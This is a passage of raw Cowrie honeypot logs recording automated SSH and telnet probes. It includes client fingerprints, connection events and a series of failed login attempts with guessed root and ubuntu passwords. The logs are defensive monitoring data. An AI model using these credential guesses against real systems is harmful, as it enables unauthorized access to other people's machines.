16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:55.521662Z","src_ip":"147.45.211.215","session":"153618d3132e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"student","message":"login attempt [root/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:56.033283Z","src_ip":"147.45.211.215","session":"153618d3132e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.83724570274353,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:56.395571Z","src_ip":"192.119.13.58","session":"494333c5d8b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43284,"dst_ip":"10.17.0.5","dst_port":23,"session":"9842ec876cb1","protocol":"telnet","message":"New connection: 192.119.13.58:43284 (10.17.0.5:23) [session: 9842ec876cb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:56.570412Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:57.207669Z","src_ip":"147.45.211.215","session":"153618d3132e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55000,"dst_ip":"159.203.135.109","dst_port":22,"session":"76de0e88960c","protocol":"ssh","message":"New connection: 152.42.212.128:55000 (159.203.135.109:22) [session: 76de0e88960c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:59.639190Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:59.644129Z","src_ip":"152.42.212.128","session":"76de0e88960c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:41:59.651788Z","src_ip":"152.42.212.128","session":"76de0e88960c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":49760,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8063787846f","protocol":"ssh","message":"New connection: 43.163.121.249:49760 (159.203.135.109:22) [session: a8063787846f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:01.545442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:01.551608Z","src_ip":"43.163.121.249","session":"a8063787846f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:01.783356Z","src_ip":"43.163.121.249","session":"a8063787846f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0okm1qaz","message":"login attempt [root/0okm1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:02.735440Z","src_ip":"43.163.121.249","session":"a8063787846f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45136,"dst_ip":"10.17.0.5","dst_port":22,"session":"a780b44bff80","protocol":"ssh","message":"New connection: 193.32.162.145:45136 (10.17.0.5:22) [session: a780b44bff80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:03.167814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:03.173093Z","src_ip":"193.32.162.145","session":"a780b44bff80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:03.277784Z","src_ip":"193.32.162.145","session":"a780b44bff80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"anza","message":"login attempt [ubuntu/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:03.592567Z","src_ip":"193.32.162.145","session":"a780b44bff80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:03.969152Z","src_ip":"43.163.121.249","session":"a8063787846f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47808,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c42554ebcda","protocol":"telnet","message":"New connection: 192.119.13.58:47808 (10.17.0.5:23) [session: 6c42554ebcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:04.416679Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:04.700792Z","src_ip":"193.32.162.145","session":"a780b44bff80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.13417649269104,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:05.704483Z","src_ip":"192.119.13.58","session":"9842ec876cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35588,"dst_ip":"10.17.0.5","dst_port":23,"session":"b286f436a05a","protocol":"telnet","message":"New connection: 192.119.13.58:35588 (10.17.0.5:23) [session: b286f436a05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:13.945229Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35960,"dst_ip":"10.17.0.5","dst_port":23,"session":"b48e2ecfa4c0","protocol":"telnet","message":"New connection: 192.119.13.58:35960 (10.17.0.5:23) [session: b48e2ecfa4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:14.077243Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43172,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b235ba48766","protocol":"telnet","message":"New connection: 192.119.13.58:43172 (10.17.0.5:23) [session: 0b235ba48766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:15.958981Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":55526,"dst_ip":"159.203.135.109","dst_port":22,"session":"445d32b732a3","protocol":"ssh","message":"New connection: 150.109.25.130:55526 (159.203.135.109:22) [session: 445d32b732a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:22.480874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:22.486328Z","src_ip":"150.109.25.130","session":"445d32b732a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:22.732255Z","src_ip":"150.109.25.130","session":"445d32b732a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elf","message":"login attempt [root/elf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:23.745853Z","src_ip":"150.109.25.130","session":"445d32b732a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.222.198","src_port":54388,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c7e9f9b6596","protocol":"ssh","message":"New connection: 69.6.222.198:54388 (159.203.135.109:22) [session: 1c7e9f9b6596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:24.085665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:24.094900Z","src_ip":"69.6.222.198","session":"1c7e9f9b6596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:24.209458Z","src_ip":"69.6.222.198","session":"1c7e9f9b6596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49690,"dst_ip":"10.17.0.5","dst_port":23,"session":"07829236fb97","protocol":"telnet","message":"New connection: 192.119.13.58:49690 (10.17.0.5:23) [session: 07829236fb97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:24.532845Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kannel","message":"login attempt [root/kannel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:24.699512Z","src_ip":"69.6.222.198","session":"1c7e9f9b6596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:24.995179Z","src_ip":"150.109.25.130","session":"445d32b732a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:25.817615Z","src_ip":"69.6.222.198","session":"1c7e9f9b6596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"216906dfbdc4","protocol":"telnet","message":"New connection: 192.119.13.58:55648 (10.17.0.5:23) [session: 216906dfbdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:26.584956Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"56693d3aae55","protocol":"telnet","message":"New connection: 192.119.13.58:34706 (10.17.0.5:23) [session: 56693d3aae55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:28.545247Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":40492,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccc42d318e26","protocol":"ssh","message":"New connection: 109.172.54.111:40492 (159.203.135.109:22) [session: ccc42d318e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:28.749623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:28.754847Z","src_ip":"109.172.54.111","session":"ccc42d318e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:28.856485Z","src_ip":"109.172.54.111","session":"ccc42d318e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw12","message":"login attempt [root/qazxsw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:29.179096Z","src_ip":"109.172.54.111","session":"ccc42d318e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:30.285826Z","src_ip":"109.172.54.111","session":"ccc42d318e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46210,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c624ba4806","protocol":"telnet","message":"New connection: 192.119.13.58:46210 (10.17.0.5:23) [session: 00c624ba4806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:31.231871Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc689da40ed0","protocol":"telnet","message":"New connection: 192.119.13.58:41504 (10.17.0.5:23) [session: bc689da40ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:36.201466Z"}
{"eventid":"cowrie.session.closed","duration":53.17889189720154,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:37.450807Z","src_ip":"192.119.13.58","session":"99a9cd0527b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.285006284713745,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:39.889156Z","src_ip":"192.119.13.58","session":"2b42bb804cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.51429462432861,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:43.930852Z","src_ip":"192.119.13.58","session":"6c42554ebcda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054439067840576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:45.131571Z","src_ip":"192.119.13.58","session":"b48e2ecfa4c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":41050,"dst_ip":"159.203.135.109","dst_port":22,"session":"53838a44dcea","protocol":"ssh","message":"New connection: 89.108.118.91:41050 (159.203.135.109:22) [session: 53838a44dcea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:46.532473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:46.537211Z","src_ip":"89.108.118.91","session":"53838a44dcea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:46.680525Z","src_ip":"89.108.118.91","session":"53838a44dcea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beatles","message":"login attempt [root/beatles] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:47.112808Z","src_ip":"89.108.118.91","session":"53838a44dcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40142,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd5891592fe7","protocol":"telnet","message":"New connection: 192.119.13.58:40142 (10.17.0.5:23) [session: fd5891592fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:47.146885Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:48.255496Z","src_ip":"89.108.118.91","session":"53838a44dcea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":44446,"dst_ip":"159.203.135.109","dst_port":22,"session":"14b45c22e2a7","protocol":"ssh","message":"New connection: 165.154.5.249:44446 (159.203.135.109:22) [session: 14b45c22e2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:42:48.569875Z"}
